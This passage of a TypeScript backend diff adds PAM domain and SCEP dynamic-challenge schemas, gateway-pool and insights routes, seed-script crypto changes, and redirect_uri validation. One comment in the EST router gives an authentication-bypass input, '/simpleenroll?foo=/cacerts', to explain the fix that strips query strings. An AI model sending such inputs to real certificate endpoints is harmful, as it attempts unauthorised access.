+  gatewayId: z.string().uuid().nullable().optional(),
+  encryptedConnectionDetails: zodBuffer,
+  discoveryFingerprint: z.string().nullable().optional(),
+  createdAt: z.date(),
+  updatedAt: z.date()
+});
+
+export type TPamDomains = z.infer<typeof PamDomainsSchema>;
+export type TPamDomainsInsert = Omit<z.input<typeof PamDomainsSchema>, TImmutableDBKeys>;
+export type TPamDomainsUpdate = Partial<Omit<z.input<typeof PamDomainsSchema>, TImmutableDBKeys>>;
diff --git a/backend/src/db/schemas/pam-resources.ts b/backend/src/db/schemas/pam-resources.ts
index 78a7c160272..0e03fcc83fb 100644
--- a/backend/src/db/schemas/pam-resources.ts
+++ b/backend/src/db/schemas/pam-resources.ts
@@ -20,8 +20,8 @@ export const PamResourcesSchema = z.object({
   updatedAt: z.date(),
   encryptedRotationAccountCredentials: zodBuffer.nullable().optional(),
   encryptedResourceMetadata: zodBuffer.nullable().optional(),
-  adServerResourceId: z.string().uuid().nullable().optional(),
   discoveryFingerprint: z.string().nullable().optional(),
+  domainId: z.string().uuid().nullable().optional(),
   encryptedSessionSummaryConfig: zodBuffer.nullable().optional()
 });
 
diff --git a/backend/src/db/schemas/pam-sessions.ts b/backend/src/db/schemas/pam-sessions.ts
index f499da367db..a3fc0d4ad42 100644
--- a/backend/src/db/schemas/pam-sessions.ts
+++ b/backend/src/db/schemas/pam-sessions.ts
@@ -32,7 +32,8 @@ export const PamSessionsSchema = z.object({
   resourceId: z.string().uuid().nullable().optional(),
   encryptedAiInsights: zodBuffer.nullable().optional(),
   aiInsightsStatus: z.string().nullable().optional(),
-  aiInsightsError: z.string().nullable().optional()
+  aiInsightsError: z.string().nullable().optional(),
+  reason: z.string().nullable().optional()
 });
 
 export type TPamSessions = z.infer<typeof PamSessionsSchema>;
diff --git a/backend/src/db/schemas/pki-scep-dynamic-challenges.ts b/backend/src/db/schemas/pki-scep-dynamic-challenges.ts
new file mode 100644
index 00000000000..cbc005ab2a4
--- /dev/null
+++ b/backend/src/db/schemas/pki-scep-dynamic-challenges.ts
@@ -0,0 +1,23 @@
+// Code generated by automation script, DO NOT EDIT.
+// Automated by pulling database and generating zod schema
+// To update. Just run npm run generate:schema
+// Written by akhilmhdh.
+
+import { z } from "zod";
+
+import { TImmutableDBKeys } from "./models";
+
+export const PkiScepDynamicChallengesSchema = z.object({
+  id: z.string().uuid(),
+  scepConfigId: z.string().uuid(),
+  hashedChallenge: z.string(),
+  expiresAt: z.date(),
+  createdAt: z.date(),
+  updatedAt: z.date()
+});
+
+export type TPkiScepDynamicChallenges = z.infer<typeof PkiScepDynamicChallengesSchema>;
+export type TPkiScepDynamicChallengesInsert = Omit<z.input<typeof PkiScepDynamicChallengesSchema>, TImmutableDBKeys>;
+export type TPkiScepDynamicChallengesUpdate = Partial<
+  Omit<z.input<typeof PkiScepDynamicChallengesSchema>, TImmutableDBKeys>
+>;
diff --git a/backend/src/db/schemas/pki-scep-enrollment-configs.ts b/backend/src/db/schemas/pki-scep-enrollment-configs.ts
index 22dd50fd39c..616b4ee18b9 100644
--- a/backend/src/db/schemas/pki-scep-enrollment-configs.ts
+++ b/backend/src/db/schemas/pki-scep-enrollment-configs.ts
@@ -14,11 +14,14 @@ export const PkiScepEnrollmentConfigsSchema = z.object({
   encryptedRaPrivateKey: zodBuffer,
   raCertificate: z.string(),
   raCertExpiresAt: z.date(),
-  hashedChallengePassword: z.string(),
+  hashedChallengePassword: z.string().nullable().optional(),
   includeCaCertInResponse: z.boolean().default(true),
   allowCertBasedRenewal: z.boolean().default(true),
   createdAt: z.date(),
-  updatedAt: z.date()
+  updatedAt: z.date(),
+  challengeType: z.string().default("static"),
+  dynamicChallengeExpiryMinutes: z.number().nullable().optional(),
+  dynamicChallengeMaxPending: z.number().nullable().optional()
 });
 
 export type TPkiScepEnrollmentConfigs = z.infer<typeof PkiScepEnrollmentConfigsSchema>;
diff --git a/backend/src/db/schemas/resource-metadata.ts b/backend/src/db/schemas/resource-metadata.ts
index 4bb113d1391..c2f0acf01d8 100644
--- a/backend/src/db/schemas/resource-metadata.ts
+++ b/backend/src/db/schemas/resource-metadata.ts
@@ -25,7 +25,8 @@ export const ResourceMetadataSchema = z.object({
   certificateRequestId: z.string().uuid().nullable().optional(),
   certificateRequestCreatedAt: z.date().nullable().optional(),
   pamResourceId: z.string().uuid().nullable().optional(),
-  pamAccountId: z.string().uuid().nullable().optional()
+  pamAccountId: z.string().uuid().nullable().optional(),
+  pamDomainId: z.string().uuid().nullable().optional()
 });
 
 export type TResourceMetadata = z.infer<typeof ResourceMetadataSchema>;
diff --git a/backend/src/db/schemas/webhooks.ts b/backend/src/db/schemas/webhooks.ts
index 60f031ffff3..1d603e1012c 100644
--- a/backend/src/db/schemas/webhooks.ts
+++ b/backend/src/db/schemas/webhooks.ts
@@ -29,7 +29,8 @@ export const WebhooksSchema = z.object({
   urlTag: z.string().nullable().optional(),
   type: z.string().default("general").nullable().optional(),
   encryptedPassKey: zodBuffer.nullable().optional(),
-  encryptedUrl: zodBuffer
+  encryptedUrl: zodBuffer,
+  filteredEvents: z.string().array().nullable().optional()
 });
 
 export type TWebhooks = z.infer<typeof WebhooksSchema>;
diff --git a/backend/src/db/seeds/1-user.ts b/backend/src/db/seeds/1-user.ts
index ec7e4bab9d8..eaed136ab96 100644
--- a/backend/src/db/seeds/1-user.ts
+++ b/backend/src/db/seeds/1-user.ts
@@ -1,9 +1,9 @@
-import bcrypt from "bcrypt";
 import { Knex } from "knex";
 
 import { initializeHsmModule } from "@app/ee/services/hsm/hsm-fns";
 import { hsmServiceFactory } from "@app/ee/services/hsm/hsm-service";
 import { getHsmConfig, initEnvConfig } from "@app/lib/config/env";
+import { crypto } from "@app/lib/crypto/cryptography";
 import { initLogger, logger } from "@app/lib/logger";
 import { kmsRootConfigDALFactory } from "@app/services/kms/kms-root-config-dal";
 import { superAdminDALFactory } from "@app/services/super-admin/super-admin-dal";
@@ -38,9 +38,14 @@ export async function seed(knex: Knex): Promise<void> {
   await initEnvConfig(hsmService, kmsRootConfigDAL, superAdminDAL, logger);
 
   await knex(TableName.SuperAdmin).insert([
-    // eslint-disable-next-line
-    // @ts-ignore
-    { id: "00000000-0000-0000-0000-000000000000", initialized: true, allowSignUp: true }
+    {
+      // eslint-disable-next-line
+      // @ts-ignore
+      id: "00000000-0000-0000-0000-000000000000",
+      initialized: true,
+      allowSignUp: true,
+      fipsEnabled: process.env.FIPS_ENABLED === "true"
+    }
   ]);
   // Inserts seed entries
 
@@ -65,8 +70,7 @@ export async function seed(knex: Knex): Promise<void> {
     ])
     .returning("*");
 
-  // Hash password for modern login support (POST /api/v3/auth/login)
-  const hashedPassword = await bcrypt.hash(seedData1.password, 10);
+  const hashedPassword = await crypto.hashing().createHash(seedData1.password, 10);
   await knex(TableName.Users).where({ id: user.id }).update({ hashedPassword });
 
   const encKeys = await generateUserSrpKeys(seedData1.password);
diff --git a/backend/src/db/seeds/3-project.ts b/backend/src/db/seeds/3-project.ts
index e18d774c88e..aef9395582e 100644
--- a/backend/src/db/seeds/3-project.ts
+++ b/backend/src/db/seeds/3-project.ts
@@ -3,7 +3,7 @@ import { Knex } from "knex";
 import { initializeHsmModule } from "@app/ee/services/hsm/hsm-fns";
 import { hsmServiceFactory } from "@app/ee/services/hsm/hsm-service";
 import { getHsmConfig, initEnvConfig } from "@app/lib/config/env";
-import { crypto, SymmetricKeySize } from "@app/lib/crypto/cryptography";
+import { crypto } from "@app/lib/crypto/cryptography";
 import { generateUserSrpKeys } from "@app/lib/crypto/srp";
 import { initLogger, logger } from "@app/lib/logger";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
@@ -22,8 +22,6 @@ import {
   OrgMembershipStatus,
   ProjectMembershipRole,
   ProjectType,
-  SecretEncryptionAlgo,
-  SecretKeyEncoding,
   TableName
 } from "../schemas";
 import { seedData1 } from "../seed-data";
@@ -259,21 +257,15 @@ export async function seed(knex: Knex): Promise<void> {
   await knex(TableName.SecretFolder).insert(envs.map(({ id }) => ({ name: "root", envId: id, parentId: null })));
 
   // save secret secret blind index
-  const encKey = process.env.ENCRYPTION_KEY;
-  if (!encKey) throw new Error("Missing ENCRYPTION_KEY");
   const salt = crypto.randomBytes(16).toString("base64");
-  const secretBlindIndex = crypto.encryption().symmetric().encrypt({
-    plaintext: salt,
-    key: encKey,
-    keySize: SymmetricKeySize.Bits128
-  });
+  const secretBlindIndex = crypto.encryption().symmetric().encryptWithRootEncryptionKey(salt);
   // insert secret blind index for project
   await knex(TableName.SecretBlindIndex).insert({
     projectId: project.id,
     encryptedSaltCipherText: secretBlindIndex.ciphertext,
     saltIV: secretBlindIndex.iv,
     saltTag: secretBlindIndex.tag,
-    algorithm: SecretEncryptionAlgo.AES_256_GCM,
-    keyEncoding: SecretKeyEncoding.UTF8
+    algorithm: secretBlindIndex.algorithm,
+    keyEncoding: secretBlindIndex.encoding
   });
 }
diff --git a/backend/src/ee/routes/est/certificate-est-router.ts b/backend/src/ee/routes/est/certificate-est-router.ts
index d5876782dbf..ae216f32a97 100644
--- a/backend/src/ee/routes/est/certificate-est-router.ts
+++ b/backend/src/ee/routes/est/certificate-est-router.ts
@@ -56,9 +56,14 @@ export const registerCertificateEstRouter = async (server: FastifyZodProvider) =
   });
 
   // Authenticate EST client using Passphrase
-  server.addHook("onRequest", async (req, res) => {
+  // Using preHandler instead of onRequest ensures rate limiting (preValidation) runs first
+  server.addHook("preHandler", async (req, res) => {
     const { authorization } = req.headers;
-    const urlFragments = req.url.split("/");
+
+    // Strip query string before parsing URL path to prevent bypass attacks
+    // (e.g., /simpleenroll?foo=/cacerts would otherwise match "cacerts")
+    const urlPath = req.url.split("?")[0];
+    const urlFragments = urlPath.split("/");
 
     // cacerts endpoint should not have any authentication
     if (urlFragments[urlFragments.length - 1] === "cacerts") {
diff --git a/backend/src/ee/routes/scep/pki-scep-router.ts b/backend/src/ee/routes/scep/pki-scep-router.ts
index e68b6e6dfe4..f7f27e1f372 100644
--- a/backend/src/ee/routes/scep/pki-scep-router.ts
+++ b/backend/src/ee/routes/scep/pki-scep-router.ts
@@ -1,7 +1,10 @@
 import { z } from "zod";
 
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
 import { BadRequestError } from "@app/lib/errors";
 import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AuthMode } from "@app/services/auth/auth-type";
 
 const MAX_SCEP_MESSAGE_SIZE = 64 * 1024; // 64KB
 
@@ -18,6 +21,7 @@ export const registerPkiScepRouter = async (server: FastifyZodProvider) => {
   server.addHook("onRequest", async (req) => {
     if (
       req.method === "POST" &&
+      req.url.includes("/pkiclient.exe") &&
       (!req.headers["content-type"] || req.headers["content-type"] === "application/octet-stream")
     ) {
       // eslint-disable-next-line no-param-reassign
@@ -113,4 +117,45 @@ export const registerPkiScepRouter = async (server: FastifyZodProvider) => {
       return res.send(response);
     }
   });
+
+  server.route({
+    method: "POST",
+    url: "/:profileId/challenge",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      params: z.object({
+        profileId: z.string().uuid()
+      })
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req, res) => {
+      const { profileId } = req.params;
+
+      const result = await server.services.pkiScep.generateDynamicChallenge({
+        profileId,
+        actor: req.permission.type,
+        actorId: req.permission.id,
+        actorAuthMethod: req.permission.authMethod,
+        actorOrgId: req.permission.orgId
+      });
+
+      void server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId: result.projectId,
+        event: {
+          type: EventType.SCEP_DYNAMIC_CHALLENGE_GENERATED,
+          metadata: {
+            profileId,
+            profileSlug: result.profileSlug,
+            expiresAt: result.expiresAt
+          }
+        }
+      });
+
+      void res.header("Content-Type", "text/plain");
+      return res.send(result.challenge);
+    }
+  });
 };
diff --git a/backend/src/ee/routes/v1/ai-mcp-endpoint-router.ts b/backend/src/ee/routes/v1/ai-mcp-endpoint-router.ts
index c1e2a74c810..873002eb833 100644
--- a/backend/src/ee/routes/v1/ai-mcp-endpoint-router.ts
+++ b/backend/src/ee/routes/v1/ai-mcp-endpoint-router.ts
@@ -592,7 +592,15 @@ export const registerAiMcpEndpointRouter = async (server: FastifyZodProvider) =>
         endpointId: z.string().uuid().trim().min(1)
       }),
       body: z.object({
-        redirect_uris: z.array(z.string()),
+        redirect_uris: z.array(
+          z
+            .string()
+            .url()
+            .refine(
+              (uri) => uri.startsWith("https://") || uri.startsWith("http://"),
+              "Redirect URI must start with https:// or http://"
+            )
+        ),
         token_endpoint_auth_method: z.string(),
         grant_types: z.array(z.string()),
         response_types: z.array(z.string()),
@@ -603,7 +611,15 @@ export const registerAiMcpEndpointRouter = async (server: FastifyZodProvider) =>
       response: {
         200: z.object({
           client_id: z.string(),
-          redirect_uris: z.array(z.string()),
+          redirect_uris: z.array(
+            z
+              .string()
+              .url()
+              .refine(
+                (uri) => uri.startsWith("https://") || uri.startsWith("http://"),
+                "Redirect URI must start with https:// or http://"
+              )
+          ),
           client_name: z.string(),
           client_uri: z.string().optional(),
           grant_types: z.array(z.string()),
@@ -687,7 +703,13 @@ export const registerAiMcpEndpointRouter = async (server: FastifyZodProvider) =>
         client_id: z.string(),
         code_challenge: z.string(),
         code_challenge_method: z.enum(["S256"]),
-        redirect_uri: z.string(),
+        redirect_uri: z
+          .string()
+          .url()
+          .refine(
+            (uri) => uri.startsWith("https://") || uri.startsWith("http://"),
+            "Redirect URI must start with https:// or http://"
+          ),
         resource: z.string().optional(),
         expireIn: z.string().refine((val) => ms(val) > 0, "Max TTL must be a positive number")
       }),
diff --git a/backend/src/ee/routes/v1/gateway-pool-router.ts b/backend/src/ee/routes/v1/gateway-pool-router.ts
new file mode 100644
index 00000000000..2995f29fc38
--- /dev/null
+++ b/backend/src/ee/routes/v1/gateway-pool-router.ts
@@ -0,0 +1,314 @@
+import z from "zod";
+
+import { GatewayPoolMembershipsSchema, GatewayPoolsSchema, GatewaysV2Schema } from "@app/db/schemas";
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
+import { slugSchema } from "@app/server/lib/schemas";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+const SanitizedGatewayPoolSchema = GatewayPoolsSchema.pick({
+  id: true,
+  orgId: true,
+  name: true,
+  createdAt: true,
+  updatedAt: true
+});
+
+const SanitizedPoolMemberSchema = GatewaysV2Schema.pick({
+  id: true,
+  name: true,
+  heartbeat: true,
+  lastHealthCheckStatus: true
+});
+
+export const registerGatewayPoolRouter = async (server: FastifyZodProvider) => {
+  // Create a gateway pool
+  server.route({
+    method: "POST",
+    url: "/",
+    schema: {
+      operationId: "createGatewayPool",
+      body: z.object({
+        name: slugSchema({ min: 1, max: 32, field: "name" }).describe("Name for the gateway pool")
+      }),
+      response: {
+        200: SanitizedGatewayPoolSchema
+      }
+    },
+    config: { rateLimit: writeLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const pool = await server.services.gatewayPool.createGatewayPool({
+        name: req.body.name,
+        ...req.permission
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_POOL_CREATE,
+          metadata: {
+            poolId: pool.id,
+            name: pool.name
+          }
+        }
+      });
+
+      return pool;
+    }
+  });
+
+  // List gateway pools
+  server.route({
+    method: "GET",
+    url: "/",
+    schema: {
+      operationId: "listGatewayPools",
+      response: {
+        200: z.array(
+          SanitizedGatewayPoolSchema.extend({
+            memberCount: z.number(),
+            healthyMemberCount: z.number(),
+            memberGatewayIds: z.array(z.string().uuid()),
+            connectedResourcesCount: z.number()
+          })
+        )
+      }
+    },
+    config: { rateLimit: readLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.gatewayPool.listGatewayPools(req.permission);
+    }
+  });
+
+  // Get gateway pool by ID
+  server.route({
+    method: "GET",
+    url: "/:poolId",
+    schema: {
+      operationId: "getGatewayPoolById",
+      params: z.object({
+        poolId: z.string().uuid()
+      }),
+      response: {
+        200: SanitizedGatewayPoolSchema.extend({
+          gateways: z.array(SanitizedPoolMemberSchema)
+        })
+      }
+    },
+    config: { rateLimit: readLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.gatewayPool.getGatewayPoolById({
+        poolId: req.params.poolId,
+        ...req.permission
+      });
+    }
+  });
+
+  // Update gateway pool
+  server.route({
+    method: "PATCH",
+    url: "/:poolId",
+    schema: {
+      operationId: "updateGatewayPool",
+      params: z.object({
+        poolId: z.string().uuid()
+      }),
+      body: z.object({
+        name: slugSchema({ min: 1, max: 32, field: "name" }).optional().describe("New name for the pool")
+      }),
+      response: {
+        200: SanitizedGatewayPoolSchema
+      }
+    },
+    config: { rateLimit: writeLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const pool = await server.services.gatewayPool.updateGatewayPool({
+        poolId: req.params.poolId,
+        name: req.body.name,
+        ...req.permission
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_POOL_UPDATE,
+          metadata: {
+            poolId: pool.id,
+            name: pool.name
+          }
+        }
+      });
+
+      return pool;
+    }
+  });
+
+  // Delete gateway pool
+  server.route({
+    method: "DELETE",
+    url: "/:poolId",
+    schema: {
+      operationId: "deleteGatewayPool",
+      params: z.object({
+        poolId: z.string().uuid()
+      }),
+      response: {
+        200: SanitizedGatewayPoolSchema
+      }
+    },
+    config: { rateLimit: writeLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const pool = await server.services.gatewayPool.deleteGatewayPool({
+        poolId: req.params.poolId,
+        ...req.permission
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_POOL_DELETE,
+          metadata: {
+            poolId: pool.id,
+            name: pool.name
+          }
+        }
+      });
+
+      return pool;
+    }
+  });
+
+  // Add gateway to pool
+  server.route({
+    method: "POST",
+    url: "/:poolId/memberships",
+    schema: {
+      operationId: "addGatewayToPool",
+      params: z.object({
+        poolId: z.string().uuid()
+      }),
+      body: z.object({
+        gatewayId: z.string().uuid().describe("ID of the gateway to add to the pool")
+      }),
+      response: {
+        200: GatewayPoolMembershipsSchema.pick({
+          id: true,
+          gatewayPoolId: true,
+          gatewayId: true,
+          createdAt: true
+        })
+      }
+    },
+    config: { rateLimit: writeLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const { membership, poolName, gatewayName } = await server.services.gatewayPool.addGatewayToPool({
+        poolId: req.params.poolId,
+        gatewayId: req.body.gatewayId,
+        ...req.permission
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_POOL_ADD_MEMBER,
+          metadata: {
+            poolId: req.params.poolId,
+            poolName,
+            gatewayId: req.body.gatewayId,
+            gatewayName
+          }
+        }
+      });
+
+      return membership;
+    }
+  });
+
+  // Remove gateway from pool
+  server.route({
+    method: "DELETE",
+    url: "/:poolId/memberships/:gatewayId",
+    schema: {
+      operationId: "removeGatewayFromPool",
+      params: z.object({
+        poolId: z.string().uuid(),
+        gatewayId: z.string().uuid()
+      }),
+      response: {
+        200: GatewayPoolMembershipsSchema.pick({
+          id: true,
+          gatewayPoolId: true,
+          gatewayId: true,
+          createdAt: true
+        })
+      }
+    },
+    config: { rateLimit: writeLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const { membership, poolName, gatewayName } = await server.services.gatewayPool.removeGatewayFromPool({
+        poolId: req.params.poolId,
+        gatewayId: req.params.gatewayId,
+        ...req.permission
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_POOL_REMOVE_MEMBER,
+          metadata: {
+            poolId: req.params.poolId,
+            poolName,
+            gatewayId: req.params.gatewayId,
+            gatewayName
+          }
+        }
+      });
+
+      return membership;
+    }
+  });
+
+  // Get connected resources for a pool
+  server.route({
+    method: "GET",
+    url: "/:poolId/resources",
+    schema: {
+      operationId: "getGatewayPoolConnectedResources",
+      params: z.object({
+        poolId: z.string().uuid()
+      }),
+      response: {
+        200: z.object({
+          kubernetesAuths: z.array(
+            z.object({
+              id: z.string(),
+              identityId: z.string(),
+              identityName: z.string().nullable()
+            })
+          )
+        })
+      }
+    },
+    config: { rateLimit: readLimit },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.gatewayPool.getConnectedResources({
+        poolId: req.params.poolId,
+        ...req.permission
+      });
+    }
+  });
+};
diff --git a/backend/src/ee/routes/v1/index.ts b/backend/src/ee/routes/v1/index.ts
index c8b353f6eab..7ef91cddffb 100644
--- a/backend/src/ee/routes/v1/index.ts
+++ b/backend/src/ee/routes/v1/index.ts
@@ -17,11 +17,13 @@ import { registerDynamicSecretRouter } from "./dynamic-secret-router";
 import { registerEmailDomainRouter } from "./email-domain-router";
 import { registerExternalKmsRouter } from "./external-kms-router";
 import { EXTERNAL_KMS_REGISTER_ROUTER_MAP } from "./external-kms-routers";
+import { registerGatewayPoolRouter } from "./gateway-pool-router";
 import { registerGatewayRouter } from "./gateway-router";
 import { registerGithubOrgSyncRouter } from "./github-org-sync-router";
 import { registerGroupRouter } from "./group-router";
 import { registerIdentityProjectAdditionalPrivilegeRouter } from "./identity-project-additional-privilege-router";
 import { registerIdentityTemplateRouter } from "./identity-template-router";
+import { registerInsightsRouter } from "./insights-router";
 import { registerKmipRouter } from "./kmip-router";
 import { registerKmipSpecRouter } from "./kmip-spec-router";
 import { registerLdapRouter } from "./ldap-router";
@@ -33,6 +35,11 @@ import { PAM_ACCOUNT_REGISTER_ROUTER_MAP } from "./pam-account-routers";
 import { registerPamAccountRouter } from "./pam-account-routers/pam-account-router";
 import { PAM_DISCOVERY_REGISTER_ROUTER_MAP } from "./pam-discovery-routers";
 import { registerPamDiscoveryRouter } from "./pam-discovery-routers/pam-discovery-router";
+import {
+  PAM_DOMAIN_ACCOUNT_REGISTER_ROUTER_MAP,
+  PAM_DOMAIN_REGISTER_ROUTER_MAP,
+  registerPamDomainRouter
+} from "./pam-domain-routers";
 import { registerPamFolderRouter } from "./pam-folder-router";
 import { PAM_RESOURCE_REGISTER_ROUTER_MAP } from "./pam-resource-routers";
 import { registerPamResourceRotationRulesRouter } from "./pam-resource-routers/pam-resource-rotation-rules-router";
@@ -49,8 +56,6 @@ import { registerRelayRouter } from "./relay-router";
 import { registerSamlRouter } from "./saml-router";
 import { registerScimRouter } from "./scim-router";
 import { registerSecretApprovalRequestRouter } from "./secret-approval-request-router";
-import { registerSecretRotationProviderRouter } from "./secret-rotation-provider-router";
-import { registerSecretRotationRouter } from "./secret-rotation-router";
 import { registerSecretRouter } from "./secret-router";
 import { registerSecretScanningRouter } from "./secret-scanning-router";
 import { registerSecretVersionRouter } from "./secret-version-router";
@@ -96,9 +101,6 @@ export const registerV1EERoutes = async (server: FastifyZodProvider) => {
   await server.register(registerSecretApprovalRequestRouter, {
     prefix: "/secret-approval-requests"
   });
-  await server.register(registerSecretRotationProviderRouter, {
-    prefix: "/secret-rotation-providers"
-  });
 
   await server.register(registerAccessApprovalPolicyRouter, { prefix: "/access-approvals/policies" });
   await server.register(registerAccessApprovalRequestRouter, { prefix: "/access-approvals/requests" });
@@ -114,9 +116,12 @@ export const registerV1EERoutes = async (server: FastifyZodProvider) => {
   );
 
   await server.register(registerGatewayRouter, { prefix: "/gateways" });
+  await server.register(registerGatewayPoolRouter, { prefix: "/gateway-pools" });
   await server.register(registerRelayRouter, { prefix: "/relays" });
   await server.register(registerGithubOrgSyncRouter, { prefix: "/github-org-sync-config" });
 
+  await server.register(registerInsightsRouter, { prefix: "/insights" });
+
   await server.register(
     async (pkiRouter) => {
       await pkiRouter.register(registerCaCrlRouter, { prefix: "/crl" });
@@ -149,7 +154,6 @@ export const registerV1EERoutes = async (server: FastifyZodProvider) => {
   await server.register(registerScimRouter, { prefix: "/scim" });
   await server.register(registerLdapRouter, { prefix: "/ldap" });
   await server.register(registerSecretScanningRouter, { prefix: "/secret-scanning" });
-  await server.register(registerSecretRotationRouter, { prefix: "/secret-rotations" });
   await server.register(registerSecretRouter, { prefix: "/secrets" });
   await server.register(registerSecretVersionRouter, { prefix: "/secret" });
   await server.register(registerGroupRouter, { prefix: "/groups" });
@@ -206,6 +210,19 @@ export const registerV1EERoutes = async (server: FastifyZodProvider) => {
       await pamRouter.register(registerPamFolderRouter, { prefix: "/folders" });
       await pamRouter.register(registerPamSessionRouter, { prefix: "/sessions" });
       await pamRouter.register(registerPamAccountPolicyRouter, { prefix: "/account-policies" });
+      await pamRouter.register(
+        async (pamDomainRouter) => {
+          await pamDomainRouter.register(registerPamDomainRouter);
+
+          // Domain-type-specific endpoints
+          await Promise.all(
+            Object.entries(PAM_DOMAIN_REGISTER_ROUTER_MAP).map(([provider, router]) =>
+              pamDomainRouter.register(router, { prefix: `/${provider}` })
+            )
+          );
+        },
+        { prefix: "/domains" }
+      );
       await pamRouter.register(
         async (pamDiscoveryRouter) => {
           await pamDiscoveryRouter.register(registerPamDiscoveryRouter);
@@ -224,12 +241,19 @@ export const registerV1EERoutes = async (server: FastifyZodProvider) => {
         async (pamAccountRouter) => {
           await pamAccountRouter.register(registerPamAccountRouter);
 
-          // Provider-specific endpoints
+          // Resource-type-specific account endpoints
           await Promise.all(
             Object.entries(PAM_ACCOUNT_REGISTER_ROUTER_MAP).map(([provider, router]) =>
               pamAccountRouter.register(router, { prefix: `/${provider}` })
             )
           );
+
+          // Domain-type-specific account endpoints
+          await Promise.all(
+            Object.entries(PAM_DOMAIN_ACCOUNT_REGISTER_ROUTER_MAP).map(([provider, router]) =>
+              pamAccountRouter.register(router, { prefix: `/${provider}` })
+            )
+          );
         },
         { prefix: "/accounts" }
       );
diff --git a/backend/src/ee/routes/v1/insights-router.ts b/backend/src/ee/routes/v1/insights-router.ts
new file mode 100644
index 00000000000..7c65e229fdd
--- /dev/null
+++ b/backend/src/ee/routes/v1/insights-router.ts
@@ -0,0 +1,238 @@
+import { z } from "zod";
+
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { readLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+export const registerInsightsRouter = async (server: FastifyZodProvider) => {
+  server.route({
+    method: "GET",
+    url: "/secrets/calendar",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getInsightsCalendar",
+      description: "Get secret rotation and reminder events for a calendar month view",
+      security: [{ bearerAuth: [] }],
+      querystring: z.object({
+        projectId: z.string().trim(),
+        month: z.coerce.number().min(1).max(12),
+        year: z.coerce.number().min(2000).max(2100)
+      }),
+      response: {
+        200: z.object({
+          rotations: z.array(
+            z.object({
+              id: z.string(),
+              name: z.string(),
+              type: z.string(),
+              nextRotationAt: z.date().nullable(),
+              environment: z.string(),
+              secretPath: z.string(),
+              secretKeys: z.string().array(),
+              rotationInterval: z.number(),
+              rotationStatus: z.string().nullable(),
+              isAutoRotationEnabled: z.boolean()
+            })
+          ),
+          reminders: z.array(
+            z.object({
+              id: z.string(),
+              secretId: z.string().nullable(),
+              secretKey: z.string(),
+              nextReminderDate: z.date(),
+              message: z.string().nullable().optional(),
+              environment: z.string(),
+              secretPath: z.string(),
+              repeatDays: z.number().nullable().optional()
+            })
+          )
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { projectId, month, year } = req.query;
+      const result = await server.services.insights.getCalendar({ projectId, month, year }, req.permission);
+      await server.services.auditLog.createAuditLog({
+        projectId,
+        event: { type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_CALENDAR, metadata: { projectId, month, year } },
+        ...req.auditLogInfo
+      });
+      return result;
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/secrets/access-volume",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getInsightsAccessVolume",
+      description: "Get secret access volume aggregated by day and actor for the past week",
+      security: [{ bearerAuth: [] }],
+      querystring: z.object({
+        projectId: z.string().trim()
+      }),
+      response: {
+        200: z.object({
+          days: z.array(
+            z.object({
+              date: z.string(),
+              total: z.number(),
+              actors: z.array(z.object({ name: z.string(), type: z.string(), count: z.number() }))
+            })
+          )
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { projectId } = req.query;
+      const result = await server.services.insights.getAccessVolume({ projectId }, req.permission);
+      await server.services.auditLog.createAuditLog({
+        projectId,
+        event: { type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_VOLUME, metadata: { projectId } },
+        ...req.auditLogInfo
+      });
+      return result;
+    }
+  });
+
+  // server.route({
